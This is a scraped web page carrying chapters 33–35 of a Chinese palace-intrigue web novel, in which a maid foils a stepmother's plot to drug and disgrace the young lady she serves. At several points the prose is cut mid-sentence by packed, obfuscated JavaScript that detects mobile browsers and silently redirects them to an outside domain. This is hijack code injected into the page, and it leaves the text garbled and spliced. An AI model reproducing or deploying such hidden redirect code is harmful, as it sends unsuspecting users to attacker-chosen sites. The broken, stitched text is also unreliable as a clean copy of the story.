l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123417|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光中,做到台下。她紧张地问道:“我弹的可好?” 凌青称赞:“登峰造极。” 谷翠激动得要命,仿佛刚才那一曲是她弹得一样:“太好了,小姐!特别好,把三小姐比的什么都不是!” 此时,公子小姐们大概也表现得七七八八了。顾太师环视一圈,问道:“可还有谁愿意一展才艺?” 所有人的目光不约而同,全投向了一个人。 凌青也跟着看过去。 逄楚之一副什么都不知道的样子,还坐着悠闲自得地喝茶。 感受到众人的目光,他便抬起头瞅了瞅,然后一脸无辜地看向陆沁:“阿姐,为什么大家都看着我?” 这副天真无邪,故作不懂的嘴脸,当真是可恨之极。 凌青沉默地别过头去——她怕自己忍不住,一巴掌拍到那张恶心人的脸上去。 陆沁温声提醒他:“楚之,该你上台了。” “哦?” 逄楚之这才恍然大悟的样子,连忙不好意思的放下茶盏,慢悠悠地站起身来。 “那我,就献丑了。” 他缓缓上前,一步一步踩着台阶,走上月台。 随着他的动作,宽肩窄腰的身形在水色袍子里显得格外清晰。那单独束成一小缕的小辫子,也一摆一摆。 如此少年英姿,让人移不开眼。他眉眼如画,唇色如丹,那双桃花眼波光流转,摄入人心魄。底下的人哪个没见过美人,可都没见过像他这般美得如此张扬的。这张脸,绝无仅有。 “世间竟有如此美貌之人.........”有人小声嘀咕道。 逄楚之却丝毫不在意下面的眼神,只是环顾四周,摆出一副为难的表情:“不过我今日忘了佩剑,这可如何是好?” 顾太师刚要吩咐下人去取剑,就见台下的洛清影直接站了起来。 “我这有剑!”她高声道,将手中剑直接抛了过去。 逄楚之伸手接过,微微一笑。剑在他手中轻转一圈,“借洛小姐宝剑一用,今日春色如此好,我必要借此作画一副。” “作画?”台下有人疑惑,“可是公子借的是剑啊。” “是啊。”逄楚之又是一笑,“剑也好,笔也罢,不过都是手中之物罢了。” 话音刚落,他拔剑出鞘,银光乍现。 满树桃花簌簌颤动,逄楚之手腕轻转,剑锋掠过空气,带起一阵细微的破风声。 桃花应剑而起。 不是寻常的花瓣飞舞,而是一朵朵完整的桃花。起初只是零星几朵,随即有更多的桃花脱离枝头,循着剑气而来。粉色的、白色的花朵在他身边盘旋,越聚越多。 台下的人看得目瞪口呆。 “这是什么剑法?”谷翠不由问道。 凌青缓缓道:“我也只在书里看到过。气走璇玑,劲透鱼肠,虽隔三丈而落英随形。宝剑快速旋转,剑气便能使花瓣贴附剑面,用剑者可随意控制。只是.......” “只是难度极高,且需要极快的速度。”陆沁接过话,神色也有些被震住:“没想到.......楚之竟然有这样的本事。” 花朵越聚越密,渐渐在逄楚之周身三尺之内形成了一个巨大的花球。 粉白相间的花朵层层叠叠,他立在花球中央,水色长袍猎猎作响,那张昳丽的脸在花隙间若隐若现。 花球缓缓转动,馥郁的花香随着动作慢慢漾开。 “好精准的剑气!”洛清影不由豪迈鼓掌。 转动的花球忽然停下。 “去!” 逄楚之一声轻喝,那花球骤然炸开。 无数桃花如天女散花般飞溅出去,在空中翻飞盘旋,纷纷扬扬洒向四面八方。 花雨漫天,香风阵阵。 有人伸手想接住飞来的花,却发现那花虽然飞得急,落在手中时却轻得很,触感温润,竟还带着淡淡的暖意。 凌青缓缓摊开手,看着手上的桃花。 “等等!”忽然有人惊叫道:“看那地上!” 众人循着那人目光望去,顿时,都怔住了。 除了飞落到台下的那些花,其余落在台上的,纷纷扬扬铺了一地—— 这竟然,组成了一幅画。 那是一只蜉蝣,薄如蝉翼的翅膀轻颤着,立在一树春叶之上。蜉蝣身形纤细,仿佛一阵风就能吹散,显得那样脆弱。粉色的花瓣勾勒出蜉蝣透明的翅膀,白色的花瓣点缀成身下的春叶,而那些深色的花蕊则细腻地描绘出蜉蝣的身躯和触须。 小小的蜉蝣,和参天的桃树。蜉蝣朝不保夕,如何能与天地同寿? “刚才那些花飞得那么乱,最后竟然能落成这个样子?” “这哪里是画,简直是鬼斧神工!” “逄公子不亏乃逄家之人,不仅剑法通神,连画技也是绝世无双!” “寄蜉蝣于天地,渺沧海之一粟.......”有文人轻叹,“花瓣成画便罢了,竟还有如此意境!” 只有凌青若有所思地看着,忽然摇头道:“不。” 陆沁和谷翠都望向她。 “不是蜉蝣渺小,”她抬起头,认真道:“是——” “蜉蝣撼树。” 陆沁这才发现,那片看似普通的春叶,竟然在蜉蝣的脚下微微颤动着。叶脉清晰可见,每一道纹路都在轻微震颤,仿佛承受不住这只小小蜉蝣的重量。 凌青看向台上的逄楚之,逄楚之似乎也察觉到了她的目光,与她对视上。 她知道这人已发现她看明白了。毕竟,她上次那句话可没说错。 或许他俩,真的是一种人。要不然她怎么能看破他想由画诉说的话? 其实,她也是这样想的。 纵然从前朝生暮死,但这一刻,我也要让天地为我震动。 33. 春宴(三) 逄楚之下台后,台下久久不能平静。 片刻之后,顾太师才抚须微笑,朗声道:“诸位才艺已展,接下来便是以''惜春''为题,各赋诗一首。” 话音刚落,便有下人端着托盘鱼贯而入,将笔墨纸砚一一分发。园中原本的窃窃私语声逐渐消散,只有纸张翻阅和研墨的细碎声。 陆沁接过笔,下意识地看向身旁,却发现逄楚之的座位空了。 “楚之呢?”她轻声问道。 凌青和谷翠摇摇头,都表示不知道。 陆沁的目光在人群中搜寻片刻,终是什么也没有。她微微蹙眉,心中略有疑惑,但很快便将这份困惑压下。毕竟此时此刻,作诗才是最要紧的。 凌青上前,为她研墨蘸笔,墨汁在砚台中缓缓晕开。 陆沁接过笔,开始思索这次的题目。 惜春.........不过就是春光易逝,韶华难留,所以要珍惜。写来写去,都大差不差,很难出新意。 陆沁凝视着纸张,竟第一次有些犹豫,不知从何写起。但她脑海中,却隐隐浮现凌青的声音—— “小姐不要被这些规矩束缚..........一切尽凭自己兴致便可。” “您一味退让,只会让那群人愈发得寸进尺.......” 正因春光易逝,所以更要活出自己的心意。与其哀叹春色匆匆,一轮接着一轮,不如趁着春色正好,做自己一直想做的事,成为自己一直想成为的人。 她提笔蘸墨,在纸上缓缓写下: 十分春色七分尘,两分随波一分云。莫向东风赊旧梦,惜花须是看花人。 凌青正替她研墨,余光瞥见了陆沁纸上的诗句,眼中闪过一丝意外。 “莫向东风赊旧梦,惜花须是看花人。” 唯有真正活在当下,才能懂得什么叫做珍惜。 这立意......倒是出人意料。若放在以前,她是绝不会相信这诗是陆沁写的。只因陆沁一向软弱重情,缺乏主见。看来这段时间的接连打击,确实让她的心境有了变化。 凌青不由看向陆沁专注的侧脸,露出一个极淡的笑容。 一炷香的时候还未到,各位公子小姐也都在埋头苦想,只是有两个人显得格外游刃有余。 陆砚修正襟危坐在案前,似乎早已完成诗作。他虽面上还是温润,眉宇间却带着志在必得的神色,仿佛这诗魁的桂冠已是他的囊中之物。 而陆皎.......就更别说了,她大咧咧的将诗作摊开在桌子上,一会儿笔掉在地上,一会儿又那样,生怕别人不知道她早已完成。 终于,过了片刻,顾太师轻咳一声,示意时间已到。下人们再次井然有序地上前,将诗稿一一收齐,小心翼翼地送到几位夫子面前。 等待的时间里,园中重新热闹起来。世家公子们在讨论刚才的才艺比试,闺阁小姐们一脸紧张,扇着团扇互猜诗文结果。 在一片喧嚣中,陆沁却异常平静,心中没有丝毫忐忑。也许是出于对凌青的信任,她心底有一种莫名的笃定。 约莫一刻钟后,顾太师起身,手中拿着几张诗稿。 “诸位静听,评选结果已出。” 园中顿时安静下来,所有人都屏息等待。 “诸位公子小姐才情出众,令老夫甚是欣慰。”顾太师朗声道,“然诗词一道,向来高下立判。今日便按男女分别,各取前三甲。” 他故意停顿了一下,吊足众人胃口,直到大家都等急了之时,才看向男子一侧。 “男子诗才,当推陆府二子,陆砚修为魁首!” 霎时间,声音四起。陆砚修面带谦逊之色,起身深深一揖:“学生才疏学浅,愧领诸位夫子青睐。” 话说得漂亮又谦虚,但凌青还是能从他眉宇间看出得意之色。 这般装模作样,当真是比逄楚之那厮,还要令人作呕。 顾太师继续道:“次席乃大理寺少卿,崔大人。” 崔令徽本就是科举状元出身,文韬武略在一众人中都是望尘莫及。他公务繁忙,这种雅集本是没理由来的。但为了见见陆沁,他还是来了。 只是毕竟官职在身,身份不同座下人,才艺比试自然是不参与,也就只能在作诗上玩一玩了。 宣布完男子三甲,顾太师转向女眷席:“至于女子诗才........”他顿了顿,园中顿时安静如水。 “魁首之位,当属陆府二女,陆沁。” 这话一出,满园掌声如雷。陆沁款款起身,敛裾行礼,姿态端庄。这接连两次夺得魁首之举,让众人赞叹不已。 第二席是左散骑常侍许家的长女。 “第三席.......”顾太师拖长了声音,“是陆府三女,陆皎。” 这话一出,园中顿时响起一片窃窃私语声,不少人面露诧异之色。 “陆大人真是教子有方,个个都是拿云攫月的好资质!” “只是这陆三小姐,是出了名的骄纵无脑,惹过不少是非。今日弹琴就叫我大吃一惊,没想到诗赋上竟也有如此进步?” 凌青挑了挑眉,心中也颇感意外。琴艺之事,还能提前准备,靠勤补拙。这诗赋,只有当天才能知道题目,不可提前准备。她一个从来不去听学的草包,如何能....... 谷翠更是愤愤不平,压低声音对凌青说道:“这三小姐最近到底怎么了?琴艺忽然精进也就算了,连诗都能得第三?我才不信她有这本事!” 凌青眯了眯眼,不置可否。 ____________ 日轮正中,在青石铺就的园径上洒下层层光影。 宴席已开,满园珠翠云集,雅音袅袅。 各家府邸皆按品级尊卑依序而坐,每席皆铺锦缎桌布,桌上菜肴全是寻常难得一见的珍馐,一盏盏的燕窝官燕、层层的鲍鱼海参,更有江南春笋、塞北熊掌、南海鱼翅......... 丝竹之声从园中雅亭传来,那是特意从教坊司请来的乐伎,每一曲都是极致的雅乐。几位舞姬立于□□一侧,皆是十五六岁的妙龄,身着罗裙,手持团扇,一颦一笑间尽显风情。 陆皎找到一个偏僻的角落,林雪桐已在那等候。 “母亲!”陆皎走过去,抱怨道:“有什么事非得这时候说。” 林雪桐轻揉她的头发:“今日你在一众贵女中大出风头,可还开心?幸好我提前买通了顾太师府中的人,知道了题目,不然哪能准备得这么充分。” 陆皎却皱着眉,脸上写满了不甘:“即便如此,我还是比不过陆沁。费了这么多心思,也不过得个第三。” “慢慢来。”林雪桐伸手轻抚着陆皎的手背,语气中带着安抚,“这次已让所有人都看到了你的才貌。明年,你必是当之无愧的魁首。” “母亲的意思是.......” “到了那时........”林雪桐的笑容中带着一丝阴冷,“有些人已经没有脸面再和你争了。” 陆皎闻言,兴奋的差点跳起来。她激动地抓住林雪桐的衣襟:“都安排妥当了?” “自然妥当。只是还需要先把人引荐给沁儿罢了。我叫你出来就是为了提醒你,今日无论沁儿做什么,你都要按耐住,不可寻事,确保不出一丝差错。” “母亲放心!” —————— 这厢,陆沁正与那许家的小姐闲聊,忽见林雪桐在另一桌上朝她招手,脸上带着温柔的笑容。 “抱歉,我先过去一下。”陆沁不好意思地对着许小姐一笑,便带着凌青过去。 走到林雪桐身边时,只见她身旁有个年约十八九岁的青年男子,相貌倒是清秀,只是眼神中带着几分轻浮之色。 “沁儿,这是我娘家的表侄林延。”林雪桐拉着陆沁的手,语气温和慈爱,“延儿刚从江南来京,正巧今日在此。你们年纪相仿,正好认识一下。你当喊他一声表哥。” 林延一见到陆沁,眼中立刻闪过一丝惊艳,那打量的目光在陆沁身上扫来扫去。他连忙拱手,声音中带着几分献媚:“见过表妹。早就听姑母说起表妹的才名,今日一见,果然是名不虚传,不仅才学出众,还.......这般美丽。” 陆沁客套地回了一礼:“表哥客气。” 她的声音礼貌,并无多少热情,可林延却像是得了鼓励般,更加兴奋起来。 “表妹方才那首诗,真是让人印象深刻。”他滔滔不绝地赞美着,“’莫向东风赊旧梦,惜花须是看花人。‘这两句尤其好。” 好在哪里,却说不出个所以然。 陆沁听着这些谄媚的话,心中有些不自在。这人说话的语气和神态,总让她觉得浑身难受。 正当她不知如何是好时,凌青忽然上前一步:“小姐,奴婢刚才看见老夫人身边的兰嬷嬷了,似乎是叫咱们过去呢。” 陆沁如蒙大赦,连忙行礼:“母亲,表哥,那我先失陪了。” 林雪桐柔柔一笑:“去吧。” 都已经如此,林延也只能讪讪地看着她离开的背影,眼中闪过一丝不甘。 走出很远后,陆沁喃喃道:“奇怪,母亲为何突然给我引荐这样的人?” 凌青若有所思:“怕是......不止引荐这么简单吧。” 陆沁有些疑惑,刚想问下去,却见陆砚修又来这边。 一波未平,另一波又起,看来这场咏春宴,注定不能平静。 陆砚修端着两杯酒走了过来。他脸上带着温和的笑容,看起来如沐春风,那双眼睛也有着捉摸不透的心思:“二姐,今日你的表现真是让人刮目相看。正好你身子也大好,我早就想为你庆祝了。来,做弟弟的敬你一杯。” 他将其中一杯酒递给陆沁,动作自然至极。 但凌青却敏锐地察觉到,他递过去地时候,眼中闪过一丝不易察觉的光芒。 看来.........今日的重点就在这上面了。 陆沁缓缓接过酒杯,犹豫了一下。过了一会儿,她才仰头要饮酒——— 就在此时,凌青却突然打断道:“小姐,刚才老夫人说了,您身子才好,还是误要贪杯。” 陆沁停住了要饮酒的动作,转头看向凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141872|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青,顺手将酒放在桌上。陆砚修也看向她,凌青却依然神态自若。 陆砚修从凌青脸上看不出什么,便一笑:“我特意要的果子酒,不醉人的,对身子也好,二姐放心喝就是。” 陆沁点点头,又看向凌青,看到凌青轻微点头,她便重新拿起杯子,一饮而尽。 酒液入喉,带着几分甘甜,又有几分辛辣。她放下杯子,冲陆砚修点头致意。 陆砚修一直盯着陆沁喝酒的动作,直到看着陆沁饮完所有的酒,才似乎放了心,寒暄了几句便走了。 他刚走,陆沁就着急地看向凌青:“是不是酒有什么问题?” 凌青扬眉,有些惊讶陆沁现在竟如此警觉。她还以为这位二小姐到现在都毫无防备呢。 “小姐为什么这么说?” “因为.......你又假传祖母的话........且砚修这杯酒有些太刻意。” 陆沁真是,越来越聪明了。 “是,被下了药。” 陆沁闻言,瞬间有种恶心想吐地感觉冲到嗓子眼:“那——” “放心,小姐喝的那杯是无毒的。” 早在刚才看见陆砚修端着酒杯过来时,她便快速从旁边桌子拿了一杯酒,一直藏在身后。 趁着陆沁放下杯子,陆砚修说话的当口,她手法快如闪电,将两杯酒悄无声息地调换了位置。 陆沁这才松了一口气,感激地看着凌青。但她心底还是有些惆怅,大概是早已知道陆砚修的人品有问题,可今日亲眼所见他给自己下毒,自己心里很难若无其事。 “小姐,此时不要想那些了。”凌青看她神色,便知道她在想什么。她声音放低,道:“您难道不想知道他们还有什么后招吗?” 陆沁犹豫了一下,叹气道:“想。” “那您就现在装醉,装晕,越醉越好。” 过了半刻,凌青扶着东倒西歪的陆沁站在老夫人和林雪桐面前。 “老夫人,夫人。”凌青面带担忧:“小姐贪杯,多喝了几杯,现在已然醉了,奴婢带她下去。” “怎么喝成这样!”陆老夫人蹙起眉,叫了几声“沁儿”,却都未得到陆沁的回应。她这才急道:“这孩子,真是,明明才好病。那你快带她下去,找个地方好好休息,一定要看顾好!” 林雪桐也面露关心地说:“沁儿身体向来娇弱,确实容易醉酒。我让人带你们去暖阁,那里清静些。” 很快有下人过来,带着陆沁和凌青去往暖阁。 穿过回廊,来到园中一处僻静的地方。这里远离宴席的喧嚣,四周古木参天,只有几声鸟啼偶尔响起。暖阁建在一处高台之上,更是寂静。 凌青扶着“醉得像一滩烂泥”一样的陆沁,跌跌撞撞进了暖阁。一进去,就闻到了房中熏香的奇怪味道。 那不是普通的檀香,而是一种带着几分甜腻的香气。 如此甜得齁人,倒像是书中所说的.......催情香。 刚才酒中之物,已被她验明,是迷情散。给陆沁服用了此药,还要再加上这香料........ 林雪桐可真是做事周全,煞费苦心,誓要将陆沁置于死地啊。 关上房门后,凌青琢磨还有些时间,便将此事原原本本和陆沁说了。 陆沁大惊失色:“你说什么?母亲,母亲她要害我清白?就为了将我与崔公子的婚事挪给三妹妹?” “是。” “那,那我们怎么办,我们还在这做什么,还不快点出去。” “不。”凌青摇头,眼中闪过一丝谋算,“我们自然要将计就计,否则白费了她的好谋算。您换上我的衣服,把头发弄乱一点,低着头,假装被醉酒的人抓乱了,然后出去。我换上您的衣服留在这里。” “那怎么可以!我怎么能独留你一个人在这危险之中!” “小姐放心。”凌青声音越发坚定,“我自然决定留在这里,便有办法让她们偷鸡不成蚀把米。” 经过凌青再三保证自己有法子逃脱,陆沁这才相信。两人迅速交换了衣裳,又把陆沁的发髻故意弄得凌乱,遮住面容。 陆沁深吸一口气,紧张地推开房门。 门外守着的小丫鬟见她出来,问道:“怎么了?” “二小姐醉酒发疯,把我抓成这样。”陆沁低着头,声音有些颤抖,“我先下去收拾收拾,你们好生看着。” 就算她不走,小丫鬟等会也会儿想法子将她支走。于是丫鬟连忙摆手:“快去快去。” 陆沁小跑着离去。 而此时房中,凌青已经换上了陆沁的衣裳。她从床上拿起包袱,正是她今日一直带在身上的那个。 里面装着各种她平日里收集的药粉。早在她故意激怒陆皎,欺骗陆皎婚期提前之时,她就料到了今日的所有。甚至可以说,这今日的一切一切,都是她推着走的。 目的只有一个————让陆沁彻底看清林雪桐的阴毒心思。 当然,顺便能让林雪桐那些人吃点苦头。 她多日以来费心准备,只为送给陆沁这个大礼。 34. 春宴(四) 巧破陷害局 她将房中的迷情香撤下,悄悄换成了另一种东西。 这东西神奇的很,名叫葛根粉,只要遇热,便会发出刺鼻腥臭。此物放在香炉内,不出片刻,屋子便会臭得让人无法呼吸。 做完这些,她开始盘算谷翠那边如何了。 早在过来前,她便嘱咐谷翠,悄悄去后厨或者杂役那寻个长相普通的小丫鬟。给她点银子,让她以“陆皎”的名义,去给林延送一碗羹汤。 在递羹汤的时候,一定要说一句:“我们三小姐让您喝下,这可是好东西,说是能让男子………大展雄风。” 顾府下人众多,要找到一个在后厨帮忙,且根本没有任何记忆点的丫鬟,更是难上加难。 想谷翠一向办事稳妥,此事也定不会出错。 凌青翻开包袱,又从中取出一小包东西。 这里面装的,是她以前根据医书所调制的一种药粉。这药粉威力强悍,只需一点便能麻痹神经,让人头脑昏沉,如同喝醉了酒一般。 她从怀中又摸出一块丝帕,用桌上的茶水打湿,捂住口鼻。 接着,她便便装作踉跄,故意推倒了一把椅子,椅子跌在地上,发出沉重的声响。 窗外守着的丫鬟听见动静,站在窗边问道:“陆二小姐,您没事吧?” “没事,只是有些闷热。”凌青一边回应,一边故意走到窗沿处,“这房中太憋闷了,我想开窗透透气。” 说着,她猛地推开窗户,手腕一翻,药粉瞬间从指缝间洒出,粉末顿时无声无息地飘洒在风中,直接扑向窗外的丫鬟。 丫鬟还未来得及反应,便觉得眼前一黑,头脑昏沉。 “二小姐.....您........”她刚要开口,却发现舌头都有些打结,眼皮越来越沉重。不过片刻功夫,她便身子一软,靠着墙壁滑坐到了地上,沉沉睡去。 凌青探出头去,确认她已经彻底昏睡过去,这才收起丝帕,轻手轻脚地从窗户跃出。 出去之后,她又回过头,将剩余药粉洒向屋内。 —————— 宴席之上,觥筹交错。 林雪桐端着酒杯,在和身边的权贵夫人们谈笑风生。只是说笑间,总会时不时地朝暖阁的方向瞟上一眼。 “真是羡慕你,有这么懂事的几个女儿。二小姐温婉乖巧,才学出众;三小姐活泼明朗,才情也是不虚;四小姐倾城之姿.........” 林雪桐温声道:“哪有,各位姐姐才是教女有方。我家皎儿被我惯坏了,没她姐姐懂事。这沁儿才是真的........” 她说着说着,忽然想到了什么似的,装作回头寻找的样子。环顾四周后,忽然疑惑道:“咦,沁儿呢?方才还看到她在这。” “是不是与闺中好友散步去了?”一旁一位姓王的夫人道。 “我刚才看见她与我表侄林延聊得正好,怎么没一会儿就没动静了........”林雪桐有些不好意思地笑笑:“我表侄林延,也是个读书人。怕是他们之间有很多话要说,去别处散着步聊天了吧。” 她此话一出,几位夫人的表情瞬间有些微妙起来。她们悄悄对视一眼,都能看到对方眼里的意思。 陆沁有未婚夫在身,与其他男子私下相谈,于理不合。更何况,若是真的如此投机到一起散步,那就更说不过去了。 正说着,林雪桐身边的大丫鬟匆匆过来,脸上带了几分慌张:“夫人........” "怎么了?”林雪桐故作惊讶,“慌慌张张的,成何体统?” “二小姐似是吃醉了酒,醉的不省人事,还发起了酒疯。连她身边那个丫鬟,都被她抓乱了头发,抓破了脸!” “什么!”林雪桐连忙起身,脸上写满了担心:“沁儿身子一向不好,平日里又不胜酒力,这醉成这样可还得了?” 她转头看向在座的夫人们:“诸位姐姐,我得先赶紧去看看沁儿。只是........”她又故作为难道:“沁儿醉酒,我又粗心,怕到时候忙手忙脚,看顾不好,还得有个年长的姐姐教教我。” 几位夫人对视一眼,都点了点头。陆沁若是真的醉酒失态,她们作为长辈,确实应该去看看。 “我陪你去看看吧。”王夫人起身,“其他几位妹妹也一起来?” “自然”。其他几位夫人也站了起来。 一行人浩浩荡荡地向暖阁走去,林雪桐走在最前面,身后还跟着陆皎。 林雪桐表面急切,宛若一个慈母。可眼底深处,尽是得意之色。陆皎心中也同样兴奋,嘴角的笑容都快掩盖不住。 午后日头正盛,暖阁却在一片荫凉之处,越发显得静谧。 “没什么声音啊,莫不是二小姐已经睡下了?”一位夫人道。 林雪桐也有些疑惑,按理说,应当不该这么静才是........她微蹙眉头,看向不远处一个小丫鬟,便朝那丫鬟招了招手。 这丫鬟正是之前一直守在暖阁门外的丫鬟。她看见林雪桐忙不迭的小跑过来。 林雪桐假装关切道:“你是这园里的下人吧,刚才来这的一位小姐呢?” “回夫人,是有一位醉了酒的小姐。只是她让奴婢不许在门口守着,说她有正事要做.........” “正事?” 小丫鬟慌忙跪下,声音惶恐惊颤:“夫人恕罪!小姐进去之后,奴婢还看到........一位公子也跟着进去了。到现在他二人也........没出来。”说完她又不住磕头:“奴婢没敢多看,夫人恕罪!” 这话一出,几位夫人们都惊了,她们面面相觑,不敢相信自己听到了什么。 这怎么可能.........大庭广众之下,在咏春宴上做出这等子事,那除非是完全不要脸面了。陆沁这样的闺秀,能做出这种事么? 林雪桐心中暗喜,面上却假装替陆沁挽回颜面,尴尬一笑道:“可能是沁儿的未婚夫崔大人吧,年轻人嘛......” 那跪在地上的小丫鬟闻言,小心翼翼抬起头,颤声道:“似乎,似乎不是那位崔大人.......是一位看起来比较瘦弱的公子........” 此话更是如同一道惊雷炸响平地,震得夫人们脸色煞白。 林雪桐惊讶道:“莫不是......延儿?” 说完,她又慌乱捂住嘴,一副说错话的样子。面容羞愧,急急摆手:“不不不,是我胡说八道!几位姐姐可别往心里去,我们沁儿最是守礼,断不会与男子同居一室。我们还是快进去看看,她身子如何了吧。” 众位夫人对视一眼,都看出了彼此眼里的疑虑。 谁都觉得这其中必有猫腻,她们发现这是一趟浑水之时,已经为时已晚。都已经到了门口,就必须一同进去看看了。 林雪桐深吸一口气,率先推开了门。 “沁儿———” 扑面而来的,是一股极其刺鼻的腥臭味道。 林雪桐下意识地捂住鼻子,循着味道看去。 只见床上躺着一个人,正是林延,也不知是晕过去了还是睡过去了。这么大的动静,他却没有醒来的迹象。 只是除此之外,并无其他人。 林雪桐不死心,又在屋内环顾一周,可屋子总共就这么大,没有任何能躲人的地方。 她再也忍不住了,脸色霎那间变得苍白,眼中满是不可置信。 这不可能!计划明明天衣无缝,陆沁怎么会不在?莫非是........陆沁发现了? 不,这绝不可能,一定是中途哪个地方出问题了。 “二小姐并不在这啊。”王夫人捂着鼻子,语气中带着困惑不解,目光停留在床榻上昏睡不醒的男子身上:“这是陆夫人的表侄吧。” 身后的陆皎看到这些,脸色也变得难看,指甲几乎要掐进掌心。她不知有多想看到陆沁失去清白的那一幕,可为何,为何又出了岔子! 正在这万分尴尬的时刻,外面传来急促的脚步声。先是几声靴子踩在碎石上的声音,紧接着声音越来越多,汇成一片杂沓,似乎是来了不少人。 顾太师率先进来,后面跟着的是一脸焦急的陆老夫人和崔令徽。在后面,就是云集过来的各位小姐公子。 早在来之前,林雪桐为了将此事彻底闹大,提前派人去跟顾太师传话,说陆沁醉酒找不着了,需要多叫些人帮忙找找。 顾太师“不负所望”,几乎把所有人都叫来了。 “沁儿,沁儿呢?我刚才在门外听说........”陆老夫人一路上心急如焚,刚来就听到了下人说,二小姐与林家表侄共处一室,瞬间被刺激的差点晕厥过去。 崔令徽的脸色也十分难看,剑眉紧蹙,眼中全是担忧。 但当他们进了屋内,看到床榻上只有林延一人时,悬着的心瞬间放下,长舒一口气。 本来只有几分夫人在场,这事还可遮掩。可此时,众人都来了,先不说顾太师,就老夫人那关都不好过。 林雪桐和陆皎对视一眼,陆皎眼中满是慌乱,如惊弓之鸟一般,浑身颤抖。林雪桐虽然也慌,但还勉强保持着镇定,她沉声道:“母亲,沁儿醉酒,我顾惜她的身子,便来看看。只是她似乎不在房中。” 陆老夫人沉着脸,那张威严的面孔上布满了怒色。她似乎已经察觉出了一点前因后果:“这是怎么回事?屋里只有一人,为何外面的下人说沁儿与男子私通?沁儿又去哪了?” 众人面面相觑,齐齐看向床榻上的林延。 顾太师心领神会,立即吩咐人道:“去抬桶水来!” 两个家丁很快抬上一整桶冷水。在顾太师的示意下,他们一人按着桶身,一人猛地倾臂—— “哗”地一声。 冷水泼下,林延浑身顷刻湿透。他猛地惊醒过来,睁开眼睛一脸茫然。 过了许久,他才反应过来面前站着很多人。 他挣扎着坐起身,下身传来剧烈的疼痛,仿佛有千万只蚂蚁在啃噬,但他此刻顾不上这些。看着林雪桐身后的众人,心中只有一阵阵狂喜。 按照计划,这么多人都来了。这不正说明,他与陆沁之事已经彻底成了么! 虽然他不记得刚才究竟发生了什么,脑海中也只有刚进屋的片段。但能迎娶陆家嫡女,彻底留在京城,怎么能不高兴!他的嘴角不由得上扬,眼中闪烁着期待的光芒。 正当他沉浸在即将飞黄腾达的喜悦中时,忽然转头看向旁边的床榻,想寻找那个应该在身边的人影。 然而,床榻另一侧空空如也。 他愣住了,那张春风得意的脸瞬间僵硬,眼中的喜悦瞬间被困惑取代:“二小姐呢?二小姐去哪了?” 后面的洛清影看不下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正当他不知如何是好时,忽然想起什么,连忙指向那个门口的小丫鬟:“她!她一定看到了,她肯定看到二小姐进来了!” 那小丫鬟一看被人提到,吓得瑟瑟发抖,跪在地上如筛糠般:“奴婢......奴婢确实看到了一位小姐进来.......” 洛清影冷声道:“你们说有人进来,可这屋子是藏不了人的,陆二小姐也一看就是从外面晒了很久太阳才回来的。莫非二小姐能变成两个人?” 她这话说完,逄楚之也嫌不够热闹似的,跟着开口。 “难道………林兄的意思是,我在说谎?” 语气里带着委屈。 一旁的凌青:“.......” 很好,他又开始了,将所有的矛头全转移到自己身上,然后疯狂装可怜装委屈。 但不得不说,这招对她无效,对其他人却是百试百灵。 逄楚之微微歪着头,那双清澈的眼眸中带着几分困惑,长长的睫毛轻颤,像是受了天大的委屈一般。他本就美貌,这样一来更是让人心疼。 “我.......”他轻声道:“我难道很像是会撒谎的人吗?” 说着,他的眼眶竟有些微红,仿佛下一秒就要落泪一般。那张俊美的脸上写满了委屈与不解。 “怎么可能,逄公子一向心思单纯,如何会撒谎!” “对啊,就算他与陆二姑娘亲如姐弟,但以逄公子和逄家的人品,他定不会做出这种为亲隐过的行为!” 逄楚之闻言,眼中闪过一丝不易察觉的笑意。但他很快,便又深吸一口气,仿佛在努力平息自己的情绪。 片刻之后,他缓缓举起手,声音带着几分哽咽:“我对天,以逄家百年名誉起誓,我绝没有说谎。我刚才确实是和陆二小姐、凌青姑娘一起在池子旁喂鱼。” 林延被这副模样震住了,张了张嘴,却发现自己根本不知道该说什么。面对这样一个看起来无辜至极的少年,他的指控显得那么苍白无力。 林雪桐见状,心中暗急,连忙上前道:“既然沁儿没事,大家还是不要在这围着了。兴许是延儿做梦了,他平时就爱胡思乱想........男子嘛,总是........” 她这话说完,却没有人接茬。 空气中弥漫着诡异的安静,所有人似乎都在顾及着什么。在场之人都是名门世家出身,今日这情况是如何,大家心底也都清楚,只是不说罢了。 就在这微妙的时刻,凌青忽然淡声开口,声音不大,却让所有人都听得清清楚楚。 “顾太师,奴婢乃二小姐身边的贴身侍女。奴婢自小研习医术,方才进了这间屋子,发现了些问题,想禀告太师。” 顾太师转过头去,打量了一下凌青,点头道:“说罢。” “依奴婢所见,林公子的确是说梦话,他所说之事也决不可能发生。因为...........” 她顿了顿。房内人也都屏住呼吸等待着。 “奴婢发现...........”凌青一字一句缓缓道:“他已………” “不能人道。” 这四个字落下,屋中瞬间陷入了死寂,鸦雀无声,只听得见众人急促的呼吸声和心跳声。 这个消息如同巨石投入平静的湖面,激起千层水花,所有人都被这突如其来的真相震得目瞪口呆。 35. 春宴(五) 洛清影率先反应过来,直接了然道:“此话怎么说?” 她剑眉微挑,目光清亮。脸上丝毫没有谈及此话题的羞涩与尴尬。 